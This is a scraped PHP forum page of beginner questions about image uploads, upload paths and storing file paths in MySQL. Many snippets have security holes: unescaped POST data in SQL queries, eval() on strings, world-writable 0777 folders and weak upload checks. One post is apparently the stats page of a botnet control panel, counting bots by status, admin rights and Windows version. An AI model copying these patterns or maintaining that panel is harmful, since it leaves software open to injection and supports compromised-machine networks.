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PHP - Change Image Upload Path Within Php Code
I have a PHP script that uploads images to a folder on my server (attachments folder). Currently the folder sits within my webroot and is publicly accessible (I have to use chmod 777 due to permissions issue). So, I created the "attachments" folder outside of my webroot (so that it is not publicly accessible), but I do not know how to set the path in the PHP code to upload it to that "attachments" folder outside of the webroot. As you see in the snippet of PHP code below, the code currently uploads the the "attachments" folder within the www (webroot) directory. How do I make it upload to the "attachments" folder OUTSIDE of the www (webroot) directory?
foreach($files[$form] as $file){ $str = $file[1]; if (eval("if($str){return true;}")) { $_values[$file[0]] = $_FILES[$file[0]]["name"]; $dirs = explode("/","attachments//"); $cur_dir ="."; foreach($dirs as $dir){ $cur_dir = $cur_dir."/".$dir; if (!@opendir($cur_dir)) { mkdir($cur_dir, 0777);}} $_values[$file[0]."_real-name"] = "attachments/".date("YmdHis")."_".$_FILES[$file[0]]["name"]."_secure"; copy($_FILES[$file[0]]["tmp_name"],$_values[$file[0]."_real-name"]); @unlink($_FILES[$file[0]]["tmp_name"]); }else{ $flag=true; if ($_isdisplay) { //$ExtFltr = $file[2]; //$FileSize = $file[4]; if (!eval("if($file[2]){return true;}")){echo $file[3];} if (!eval("if($file[4]){return true;}")){echo $file[5];} $_ErrorList[] = $file[0]; } } } Similar TutorialsHello freaks! Im new to this forum, but im not all that new to PHP and MySQL. Although there's been some years since the last time I used it, so don't go all freaky on me if I dont do this right Let's go on-topic: Im in progress of making an internal web-page for me and my colleagues to make things a bit easier for us. I am making an database of our different projects, and I need some help with the input form - as I need to upload an image to the server, and store the path in the MySQL database. In my input form, I need to store information from text fields, and I need to upload an image to the server and store the path in the database. Before I can even start to code this (although I have coded the input forum without the upload), I need to know what would be the best way to do this. I guess there are several ways.. What would the expert do (That's you right?)? Should I have the information input, and image upload in the same form, or should I make a second form (maybe on a different page) for the upload? Is it necessary with two tables, one for the info and one for the image path, and then tie them together with the imageID, or is it fine to use just one table? Any thoughts would be appreciated! <!-- TechThat --> I have an image upload script where I am trying to compress an image to a lower file size. The code works. The image uploads to the directory with the correct name as intended. The only thing is that it's not compression the image as it should be. The size of the new image is the same as the old image. Here's my code. Can you spot what i'm doing wrong?
// FUNCTION FOR COMPRESSION
function compress_image($source_url, $destination_url, $quality) {
$info = getimagesize($source_url);
if($info['mime'] == 'image/jpeg') {
$image = imagecreatefromjpeg($source_url);
} else if ($info['mime'] == 'image/gif') {
$image = imagecreatefromgif($source_url);
} else if ($info['mime'] == 'image/png') {
$image = imagecreatefrompng($source_url);
imagejpeg($image, $destination_url, $quality);
}
return $destination_url;
}
// FORM SUBMIT CODE
$errors = array();
$db->beginTransaction();
if(isset($_FILES['fileToUpload']) AND !empty($_FILES['fileToUpload']["name"])) {
if(is_uploaded_file($_FILES['fileToUpload']["tmp_name"])) {
// GENERATES A 10 CHARACTER STRING TO BE USED FOR AN IMAGE NAME
$random_name = generateRandomString(10);
$global_user_id = 10;
$url_project_id = 5;
$target_dir = '../members/images/'.$global_user_id.'/projects/'.$url_project_id.'/';
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
if(!is_dir($target_dir)){
mkdir($target_dir, 0775, true);
}
// RESIZE IMAGE
$pathname = $_FILES["fileToUpload"]["tmp_name"];
$resized_image = compress_image($pathname, $random_name, 40);
$new_file_path = $target_dir . $resized_image . '.' . $imageFileType;
// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
// echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
$errors[] = 'File is not an image!';
$uploadOk = 0;
}
// Check if file already exists
if (file_exists($new_file_path)) {
$errors[] = 'Sorry, file already exists!';
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 5000000) {
$errors[] = 'Sorry, your file size is bigger than 5mb!';
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" && $imageFileType != "JPG" && $imageFileType != "PNG" && $imageFileType != "JPEG" && $imageFileType != "GIF") {
$errors[] = 'Sorry, only JPG, JPEG, PNG & GIF files are allowed!';
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if($uploadOk == 0) {
$errors[] = 'Sorry, your file was not uploaded!';
// if everything is ok, try to upload file
} else {
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $new_file_path)) {
// SUCCESS MESSAGE
} else {
$errors[] = 'Sorry, there was an error uploading your file!';
}
}
} else {
$errors[] = 'You must upload an image!';
}
}
if(empty($errors)) {
$db->commit();
header("Location: http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]");
exit;
} else {
$db->rollBack();
}
Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php
include_once('config.php');
$online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
$offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
$dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
$admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
$adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
$windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
$windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
$windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
$windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
$unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
$totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));
$onlinecount = 0;
$offlinecount = 0;
$deadcount = 0;
$admintruecount = 0;
$adminfalsecount = 0;
$windows8count = 0;
$windows7count = 0;
$windowsvistacount = 0;
$windowsxpcount = 0;
$unknowncount = 0;
while($row = mysql_fetch_array($online)){
$onlinecount++;
}
while($row = mysql_fetch_array($offline)){
$offlinecount++;
}
while($row = mysql_fetch_array($dead)){
$deadcount++;
}
while($row = mysql_fetch_array($admintrue)){
$admintruecount++;
}
while($row = mysql_fetch_array($adminfalse)){
$adminfalsecount++;
}
while($row = mysql_fetch_array($windows8)){
$windows8count++;
}
while($row = mysql_fetch_array($windows7)){
$windows7count++;
}
while($row = mysql_fetch_array($windowsvista)){
$windowsvistacount++;
}
while($row = mysql_fetch_array($windowsxp)){
$windowsxpcount++;
}
while($row = mysql_fetch_array($unknown)){
$unknowncount++;
}
$statustotal = $onlinecount + $offlinecount + $deadcount;
$admintotal = $admintruecount + $adminfalsecount;
$sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>
Can anyone tell me the error here, can how to fix it? Is there a way to get the source path for an uploaded file? It seems that's a function of the browser and the two I've tried FF and Safari don't return it in $_FILES['file']['name']. Hi Guys, I need help for in storing data from PHP from array in mysql. I'm very new to PHP/Mysql and have started learing it just few weeks back. I'm tryting to build a website for myself. I'm having tough time trying to insert the data from Form in mysql. I have a form where user update the company name and insert there product name with there image. I want to rename the image with the corresponding text field value and insert the upload path in the table. my FORM Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <style type="text/css"> body,td,th { color: #000; font-family: Tahoma, Geneva, sans-serif; font-size: 80%; } body { background-color: #9CF; } table { background: #CCF; } th { font: bold normal 16px/normal "Times New Roman", Times, serif; text-transform: capitalize; color: #00F; background: #FFC; } td { font: bold 14px Georgia, "Times New Roman", Times, serif; text-transform: capitalize; color: #3A00FF; background: #FF9; } </style> </head> <body> <form action="upload-file1.php" method="post" enctype="multipart/form-data" name="form"> <strong>Company Name:</strong> <input name="product" type="text" /> <br /> <table> <tr bgcolor="#FF9900"> <th colspan="3" bgcolor="#CCFFFF">filter </th> <th colspan="5" bgcolor="#CCFFFF">heater</th> </tr> <tr><td>filter1</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater1: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter2</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater2: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter3</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater3: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter4</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater4: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter5</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater5: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> </table> <br /> <br /> <input name="submit" type="submit" value="submit" /> </form> </body> </html> my PHP Code Code: [Select] <?php require("connect.php"); ?> <?php $product = $_POST['product']; echo $product; if(isset($_POST["submit"])){ $sql = "INSERT INTO company (product) VALUES ('$product')"; $query = mysql_query($sql) OR DIE(mysql_error()); $comp_id = mysql_insert_id(); echo $sql; } ?> <?php function filter() { if(isset($_POST['submit'])) { foreach($_POST['filter'] as $key => $val) { if(trim($val) != '') $filter[] = $val; } $total_records_filter = count($filter); for($i = 0; $i < $total_records_filter; $i++) { $prod_val = $filter[$i]; $sql_prod = "INSERT INTO filter(filter_id, filter) VALUES('', '$prod_val')"; echo $sql_prod.'<br>'; mysql_query($sql_prod) OR die(mysql_error()); } } } filter(); function heater() { if(isset($_POST['submit'])) { foreach($_POST['heater'] as $key => $val) { if(trim($val) != '') $heater[] = $val; } $total_records_heater = count($heater); for($i = 0; $i < $total_records_heater; $i++) { $dir_val = $heater[$i]; $sql_dir = "INSERT INTO heater(heater_id, heater) VALUES('', '$dir_val')"; echo $sql_dir.'<br>'; mysql_query($sql_dir) OR die(mysql_error()); } } } heater(); ?> <?php mysql_close($link)?> My Table structure company comp_id int(5) PK product varchar(50) No filter filter_id int(5) PK filter varchar(25) No filter_path varchar(100) No heater heater_id int(5) PK heater varchar(25) No heater_path varchar(100) No company_filter id int(5) PK comp_id int(5) PK FK (From company table) filter_id int(5) PK FK (From filter table) company_heater id int(5) PK comp_id int(5) PK FK (From company table) heater_id int(5) PK FK (From heater table) Regards BW Hello everybody,
i have an easy short code to upload multiple photos to "images" directory.
after upload each file, i give it unique name.
the problem i have is:
i want see the name of uploaded files and print this using echo as in line 21.
the line 21 gives me names but not the same names of uploaded files!
thank you very much for your help.
Rafal
<?php
foreach ($_FILES['file']['name'] as $i => $name)
{
$types = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $name);
$extension = end($temp);
if ($_FILES["file"]["size"][$i] < 10240000 && in_array($extension, $types))
{
if ($_FILES["file"]["error"][$i] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"][$i] . "<br>";
}
else
{
if (file_exists("images/" . $name))
{
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"][$i], "images/" . uniqid() . "." . $extension);
echo "uploaded " . $_FILES["file"] , uniqid() . "." . $extension ;
echo "<br>";
}
}
}
else
{
$error = "Invalid file";
}
}
?>
<html>
<head>
<title></title>
</head>
<body>
<form enctype="multipart/form-data" action="photo.php" method="POST">
<input type="file" name="file[]" id="file" ><br>
<input type="file" name="file[]" id="file" ><br>
<input type="file" name="file[]" id="file" ><br>
<input type="file" name="file[]" id="file" ><br>
<input type="submit" value="upload">
</form>
</body>
</html>
Hi, I have a form that allows a user to enter details and also to upload a image. The form works great and inserts into the database if i dont include the file input. What i would like happen is: The user enters details and selects a file The file then gets uploaded to ../images and the path is then written to bedroom1 variable The addresses and the bedroom1 variable that now holds the uploaded file path e.g. images/test.jpg is written to the database Form Code: [Select] <form action="admin.php" method="POST"> <table> <tr><td> Address 1: </td><td> <input type="text" name="address1" id="address1" onfocus="selected(this)" onblur="notselected(this)"> </td><td> <div id="dynamicText1"> </div> </td></tr> <tr><td> Address 2: </td><td> <input type="text" name="address2" id="address2" onfocus="selected(this)" onblur="notselected(this)"> </td><td> <div id="dynamicText1"> </div> </td></tr> <tr><td> County: </td><td> <input type="text" name="county" id="county" onfocus="selected(this)" onblur="notselected(this)"> </td><td> <div id="dynamicText1"> </div> </td></tr> <tr><td> Bedroom 1: </td><td> <input type="file" name="bedroom1" id="bedroom1" input name="uploadedfile"> </td><td> <div id="dynamicText1"> </div> </td></tr> <tr><td> <input type="submit" name="submitaddapartment" value="Add" id="registerbutton"> </td></tr> </table </form> And the php code to add it to the database Code: [Select] <?php //get variables $submitaddapartment = $_POST['submitaddapartment']; $address1 = strip_tags($_POST['address1']); $address2 = strip_tags($_POST['address2']); $county = strip_tags($_POST['county']); $bedroom1 = strip_tags($_POST['bedroom1']); if ($submitaddapartment) //if submit button was pressed { if ($address1&&$address2&&$county&&$bedroom1&&) //if fields arn't blank { include 'dbase.php'; //connect to database if ((($_FILES["bedroom1"]["type"] == "image/gif") || ($_FILES["bedroom1"]["type"] == "image/jpg") || ($_FILES["bedroom1"]["type"] == "image/pjpeg")) && ($_FILES["bedroom1"]["size"] < 20000000)) { if ($_FILES["bedroom1"]["error"] > 0) { echo "Return Code: " . $_FILES["bedroom1"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["bedroom1"]["name"] . "<br />"; echo "Type: " . $_FILES["bedroom1"]["type"] . "<br />"; echo "Size: " . ($_FILES["bedroom1"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["bedroom1"]["tmp_name"] . "<br />"; if (file_exists("../images/" . $_FILES["bedroom1"]["name"])) { echo $_FILES["bedroom1"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["bedroom1"]["tmp_name"], "/" . $_FILES["bedroom1"]["name"]); echo "Stored in: " . "../images/" . $_FILES["bedroom1"]["name"]; $bedroom1=".'images/.' $_FILES["bedroom1"]["name"]"; } } } else { echo "Invalid file"; } mysql_query ("INSERT INTO user VALUES(NULL,'$address1','$address2','$county','$bedroom1')"); } else { } } ?> Any help would be greatly appreciated. Thanks Fred Hi, is there any way when using gettext to change the default folder? I mean, gettext read mo files from xx_XX/LC_MESSAGES/domain.mo but isn't friendly... is there any way to change it to another path like langs/xx_XX.mo? This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=351137.0 <td><label for='images'> <b>File to upload:</b> </label></td> <td><input type='file' name = 'drama_image' '<?php echo $row['drama_image']; ?>'/></ </tr> <?php $target_path = "images/"; $target_path = $target_path . basename( $_FILES['images']['name']); if(move_uploaded_file($_FILES['images']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['images']['name']). " has been uploaded"; } else{ echo $row['drama_image']; } ?> ['drama_image'] is the name of the file I wanna echo it out in the box of file upload so when I save , the default picture will still be there instead of being overwritten as the box does not have any value in it. is any way to get path information from wsn using php code?.. actually my final year project is to track indoor activities by measureing physical location...i want the admin see all the activities in his pc...Is it possible
Hey Everyone, I have these 3 scripts to upload an image but I'm having an issue because the images uploaded are going to the same directory as the pages. What do I need to change to make the uploaded images go to a folder path called "pictures". Thanks in advance for the help. Script 1 <form name="form1" method="post" action="adminpicturebrowse.php"> <p align="center">How many pictures for this dog? Max is 9</p> <p align="center"> <input name="uploadNeed" type="text" id="uploadNeed" maxlength="1"> <input type="submit" name="Submit" value="Submit"> </p> </form> Script 2 <form name="form1" enctype="multipart/form-data" method="post" action="adminaddupload.php"> <p align="center"> <? // start of dynamic form $uploadNeed = $_POST['uploadNeed']; for($x=0;$x<$uploadNeed;$x++){ ?> <input name="uploadFile<? echo $x;?>" type="file" id="uploadFile<? echo $x;?>"> </p> <div align="center"> <? // end of for loop } ?> </div> <p align="center"><input name="uploadNeed" type="hidden" value="<? echo $uploadNeed;?>"> <input type="submit" name="Submit" value="Submit"> </p> </form> Script 3 <? $uploadNeed = $_POST['uploadNeed']; // start for loop for($x=0;$x<$uploadNeed;$x++){ $file_name = $_FILES['uploadFile'. $x]['name']; // strip file_name of slashes $file_name = stripslashes($file_name); $file_name = str_replace("'","",$file_name); $copy = copy($_FILES['uploadFile'. $x]['tmp_name'],$file_name); // check if successfully copied if($copy){ echo "$file_name<br>"; }else{ echo "$file_name<br>"; } } // end of loop ?> I have the folder structure like:
root
application
system
assets
uploads
folder assets contains all css, img, and js.
uploads contains user uploaded file.
I set a "helper/assets_helper.php" file to define:
define ('ASSETS_PATH', base_url().'assets/');
define ('UPLOAD_URL', base_url().'uploads/');
For all the css, img, and js, it works well like
href="<?php echo ASSETS_PATH; ?>css/mycss.css"But when I display the uploaded images, it couldn't display image with <a href="<?php echo UPLOAD_URL;?>images/myupload01.jpg" ><img src="<?php echo UPLOAD_URL;?>images/myupload01.jpg" /></a>This uploaded image actually works fine with my localhost with the link like: http://localhost:900.../myupload01.jpg. But it couldn't display on my hosting server with like: http://users.mywebsi.../myupload01.jpg Can anyone shed some light on it. Thanks! Edited by TFT2012, 20 October 2014 - 10:43 AM. Hi, How can i show image using absolute path instead of virtual path?? Help please How can I make the image path not have the starting slash for the $path? Currently this... Code: [Select] function getUserAvatar($username) { if (file_exists("{$GLOBALS['path']}/img/${username}.png")) { return "/assets/img/${username}.png"; } else { return "/assets/img/defaultuser.jpg"; } } When path is executed I need it to make /assets/ be assets/ I need to remove the first character from the $path variable. if ($type === 'image/png'){ imagepng($this->img, $path); } hi i want to store url to images in database for logged in users (where id = $id) and recall the image hopefully using --------------------- <img src="<?php echo row['link']; ?>" /> or similar and need help with the sql update string any ideas please help i been stuck with this for some time and now decided to ask around in this forum for help, please help if you can. So, I am your typical newbie to php. I am usually doing more design stuff, but now I am diving into PHP. The script in question is made for a user to upload an image to a respective directory. Also the path, category, and 2 tags representing the image will be uploaded to a mySQL database. My problem is that I have pieced together some freeware scripts that I have found in order to accomplish my ultimate goal. I need the form to be processed on the same page, because I don't want to redirect users. I also need to upload the respective information to the database. Right now, when you upload an image it only seems to be processing a part of the form, and does not upload any of the information at all. Can someone spot the many things that I am doing wrong and provide me with some direction? I have two files in question image_upload.php (Sorry about all of the code) <?php require_once 'upload_config.php'; function VerifyForm(&$values, &$errors) { // Do all necessary form verification if($clear_folder_before_upload){ $mydirectory = myUploadDir(); EmptyDir($mydirectory); } $uploaded_file_counter=0; $UploadLimit = $_POST['counter']; for($i=0;$i<=$UploadLimit;$i++){ $file_tag='filename'.$i; $filename=$_FILES[$file_tag]['name']; if($filename!=null) { $rand=time(); $str="$rand$filename"; // set folder name in here. $filedir= myUploadDir(); //change the string format. $string= $filedir.$str; $patterns[0] = "/ /"; $patterns[1] = "/ /"; $patterns[1] = "/ /"; $replacements[1] = "_"; $dirname=strtolower(preg_replace($patterns, $replacements, $string)); //end of changing string format //checking the permitted file types if($check_file_extentions) { $allowedExtensions = allowedfiles(); foreach ($_FILES as $file) { if ($file['tmp_name'] > '') { if (!in_array(end(explode(".", strtolower($file['name']))), $allowedExtensions)) { $fileUploadPermission=0; } else { $fileUploadPermission=1; } } } } else{ $fileUploadPermission=1; } //end of checking the permitted file types if($fileUploadPermission){ if(move_uploaded_file($_FILES[$file_tag]['tmp_name'],$dirname)) { echo "<img src='$dirname'>"; $uploaded_file_counter+=1; } } } } if($uploaded_file_counter==0){ echo "<br /> <b style='font-weight:bold;color:red'>Oops! Please select an image file</b>"; }else{ echo "<br /> <b>You requested ".$i." image files to upload and ".$uploaded_file_counter." files uploaded sucessfully</b>"; echo $filename0; $contentdiv = 'Upload succesful! Upload Again'; } } function DisplayForm($values, $errors) { ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>JayGilford.com :: Name form example</title> <script type="text/javascript" src="js/jquery-1.4.2.js"></script> <script type="text/javascript" src="js/jquery-ui-1.8.custom.min.js"></script> <style type="text/css"> div#upload_box_wrapper{width:350px;text-align:center; float: left;font-family: verdana; font-size: 12px;padding: 5px 5px 5px 5px; color: black;} div#upload_box_wrapper #upload_title_text{text-align:left;width: 100%;display: block;border: 0px solid green; margin-bottom: 5px;} div#upload_box_wrapper #FileUploadDiv{display: block;width: 98%;border: 0px solid green; text-align: left;padding: 0px 0px 0px 0px;} div#upload_box_wrapper p.add-new-upload-box{float: left;width: 100%;text-align: left;} div#upload_box_wrapper a.add-new-upload-link{font-weight: bold;font-size: 13px;padding-right: 3px;text-decoration: none; color: black;} div#upload_box_wrapper .upload-button{border: 0px solid lightgreen;height:30px; width:120px;cursor: pointer;background:url(./images/upload_button.png) no-repeat center left; color: white;} </style> </head> <body> <form method='post' action='' enctype='multipart/form-data'> <div id="upload_box_wrapper"> <div id="upload_title_text">Image Upload:</div> <div id="FileUploadDiv" DivValue="0"> <input name='filename0' type='file' id='filename'> <select name="img_category"> <option value="Vacation">Vacation</option> <option value="Holiday">Holiday</option> </select> <input name="tag1" type="text" id="tag1"> <input name="tag2" type="text" id="tag2"> </div> <input type="hidden" value="0" id="counter" name="counter"> <div align='left'> <input type='submit' name='submit' value='Upload Now!' class="upload-button"> </div> </div> </form> </body> </html> <?php } function ProcessForm($values) { $filename0 = $_POST['filename']; $filetype = $_POST['']; $img_category = $_POST['img_category']; $tag1 = $_POST['tag1']; $tag2 = $_POST['tag2']; //////// //figure out the image?? ///// session_start(); $img = $_POST[ 'imglink' ]; $filetypes = array( 'gif','jpg','jpeg','png' ); ++$filetypes; $filetype = strstr( $img, '.' ); if( $filetype != $filetypes ) { echo 'not supported'; } session_register( 'Image' ); $Img = $_SESSION[ 'Image' ]; mysql_query( "INSERT into `images` ( `image_id`, `filename`, `filetype`, `url`, `img_category`, `tag1`, `tag2` ) VALUES ( '', '$filename0', '$filetype', '$Img', '$img_category', '$tag1', '$tag2' )" ); session_destroy(); mysql_close( $DB ); // Replace with actual page or redirect :P } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $formValues = $_POST; $formErrors = array(); if (!VerifyForm($formValues, $formErrors)) DisplayForm($formValues, $formErrors); else ProcessForm($formValues); } else DisplayForm(null, null); ?> and the upload_config.php file <?php /////////////////////////////////////////////////////////////////////////// //establish mysql connection (I have this set correctly on the original file) /////////////////////////////////////////////////////////////////////////// $db = mysql_connect('RESPECTIVE', 'MYSQL', IDANDPW'); if (!$db) { echo "Unable to establish connection to database server"; exit; } if (!mysql_select_db('chad_images', $db)) { echo "Unable to connect to database"; exit; } /////////////////////////////////////////////////////////////////////////// // set your upload directory name in here. /////////////////////////////////////////////////////////////////////////// function myUploadDir(){ $myUploadDir = "./upload/"; return $myUploadDir; } /////////////////////////////////////////////////////////////////////////// // if you want to imposs file type rescriction then // $check_file_extentions=1 or if you want to off this option then // $check_file_extentions=0 /////////////////////////////////////////////////////////////////////////// $check_file_extentions = 1; //////////////////////////////////////////////////////////////////////////// // set your allowed type in the array. // examples: zip, pdf, psd and many more. // //////////////////////////////////////////////////////////////////////////// function allowedfiles() { $allowed_file_extensions=array("png","jpg","gif","bmp"); return $allowed_file_extensions; } /////////////////////////////////////////////////////////////////////////// // if you want to delete all the files in uploaded directory // $clear_folder_before_upload = 1 or if you want to off this option then // $clear_folder_before_upload = 0 /////////////////////////////////////////////////////////////////////////// $clear_folder_before_upload = 1; function EmptyDir($dir) { $handle=opendir($dir); while (($file = readdir($handle))!==false) { @unlink($dir.'/'.$file); } closedir($handle); } ?> Any help would be greatly appreciated! I need help making the uploaded image file name, that's chosen to be uploaded, be displayed on the html page with the path /upload/ added to the beginning of the displayed file name like so: ../upload/test.png Any help/improvements will be appreciated.
<html>
<head>
<title>PHP Test</title>
</head>
<body>
<?php
if ($form_submitted == 'yes') {
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = strtolower( end($temp) );
if ( $_FILES["file"]["size"] < 200000
&& in_array($extension, $allowedExts) )
{
if ($_FILES["file"]["error"]!= 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
} else {
$length = 20;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $newfilename );
$file_location = '<a href="http://../upload/' . $newfilename . '">' . $newfilename . '</a>';
}
} else {
echo "Invalid upload file";
}
?>
<label for="file">Filename:</label>
<input type="file" name="file" id="file">
</body>
</html>
How can i edit just one image at on time with a multiple image upload form? I have the images being stored in a folder and the path being stored in MySQL. I also have the files being uploaded with a unique id. My issue is that I want to be able to pass the values of what is already in $name2 $name3 $name4 if I only want to edit $name1. I don't want to have to manually update the 4 images. Here is the PHP: Code: [Select] <?php require_once('storescripts/connect.php'); mysql_select_db($database_phpimage,$phpimage); $uploadDir = 'upload/'; if(isset($_POST['upload'])) { foreach ($_FILES as $file) { $fileName = $file['name']; $tmpName = $file['tmp_name']; $fileSize = $file['size']; $fileType = $file['type']; if ($fileName != ""){ $filePath = $uploadDir; $fileName = str_replace(" ", "_", $fileName); //Split the name into the base name and extension $pathInfo = pathinfo($fileName); $fileName_base = $pathInfo['fileName']; $fileName_ext = $pathInfo['extension']; //now we re-assemble the file name, sticking the output of uniqid into it //and keep doing this in a loop until we generate a name that //does not already exist (most likely we will get that first try) do { $fileName = $fileName_base . uniqid() . '.' . $fileName_ext; } while (file_exists($filePath.$fileName)); $file_names [] = $fileName; $result = move_uploaded_file($tmpName, $filePath.$fileName); } if(!get_magic_quotes_gpc()) { $fileName = addslashes($fileName); $filePath = addslashes($filePath); } $fileinsert[] = $filePath; } } $mid = mysql_real_escape_string(trim($_POST['mid'])); $cat = mysql_real_escape_string(trim($_POST['cat'])); $item = mysql_real_escape_string(trim($_POST['item'])); $price = mysql_real_escape_string(trim($_POST['price'])); $about = mysql_real_escape_string(trim($_POST['about'])); $fields = array(); $values = array(); $updateVals = array(); for($i = 0; $i < 4; $i++) { $values[$i] = isset($file_names[$i]) ? mysql_real_escape_string($file_names[$i]) : ''; if($values[$i] != '') { $updateVals[] = 'name' . ($i + 1) . " = '{$values[$i]}'"; } } $updateNames = ''; if(count($updateVals)) { $updateNames = ", " . implode(', ', $updateVals); } $update = "INSERT INTO image (mid, cid, item, price, about, name1, name2, name3, name4) VALUES ('$mid', '$cat', '$item', '$price', '$about', '$values[0]', '$values[1]', '$values[2]', '$values[3]') ON DUPLICATE KEY UPDATE cid = '$cat', item = '$item', price = '$price', about = '$about' $updateNames"; $result = mysql_query($update) or die (mysql_error()); Hello I am having problems uploading an image through a HTML form. I want the image to be uploaded to the server and the image name to be written to the mysql database. Below is the code I am using: Code: [Select] <?php if (isset($_POST['add'])){ echo "<br /> add value is true"; $name = $_POST['name']; $description = $_POST['description']; $price = $_POST['price']; $category_id = $_POST['category_name']; $image = $_FILES['image']['name']; //file path of the image upload $filepath = "../images/"; //mew name for the image upload $newimagename = $name; //new width for the image $newwidth = 100; //new height for the image $newheight = 100; include('../includes/image-upload.php'); mysql_query("INSERT INTO item (item_name, item_description, item_price, item_image) VALUES ('$name','$description','$price','$image')"); ?> Here is the image-upload.php file code: Code: [Select] <?php //assigns the file to the image $image =$_FILES["image"]["name"]; $uploadedfile =$_FILES["image"]["tmp_name"]; if ($image) { //retrieves the extension type from image upload $extension = getextension($image); //converts extension to lowercase $extension = strtolower($extension); //create image from uploaded file type if($extension=="jpg" || $extension=="jpeg") { $uploadedfile = $_FILES['image']['tmp_name']; $src = imagecreatefromjpeg($uploadedfile); }else if($extension=="png") { $uploadedfile = $_FILES['image']['tmp_name']; $src = imagecreatefrompng($uploadedfile); }else{ $src = imagecreatefromgif($uploadedfile); } //creates a list of the width and height of the image list($width,$height)=getimagesize($uploadedfile); //adds color to the image $tmp = imagecreatetruecolor($newwidth,$newheight); //create image imagecopyresampled($tmp,$src,0,0,0,0,$newwidth,$newheight,$width,$height); //set file name $filename = $filepath.$newimagename.".".$extension; $imagename = $newimagename.".".$extension; //uploads new file with name to the chosen directory imagejpeg($tmp,$filename,100); //empty variables imagedestroy($src); imagedestroy($tmp); } ?> Any help would be appreciated, fairly new to all this! Thanks!!! |
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